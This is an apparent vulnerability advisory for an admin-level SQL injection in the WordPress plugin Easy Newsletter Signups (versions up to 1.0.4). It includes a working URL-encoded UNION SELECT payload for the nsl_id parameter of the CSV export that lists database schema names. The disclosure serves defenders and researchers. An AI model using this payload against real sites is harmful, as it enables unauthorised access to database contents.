WordPress Plugin Vulnerabilities

Easy Newsletter Signups <= 1.0.4 - Admin+ SQLi

Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin

Proof of Concept

1. From the "Easy Newsletter Signups", select an email address and then click "Export to CSV"
2. Intercept the request and add the following for the `nsl_id` parameter:

`%5B%5D=265%20UNION%20ALL%20SELECT%20NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cCONCAT(schema_name)%2cNULL%20FROM%20INFORMATION_SCHEMA.SCHEMATA--%20-`

3. See the SQLi in the response.

Affects Plugins

References

Classification

Type
SQLI
OWASP top 10
CWE

Miscellaneous

Original Researcher
Karolis Narvilas
Submitter
Karolis Narvilas
Submitter website
Verified
Yes

Timeline

Publicly Published
2023-11-13 (about 6 months ago)
Added
2023-11-13 (about 6 months ago)
Last Updated
2023-11-13 (about 6 months ago)

Other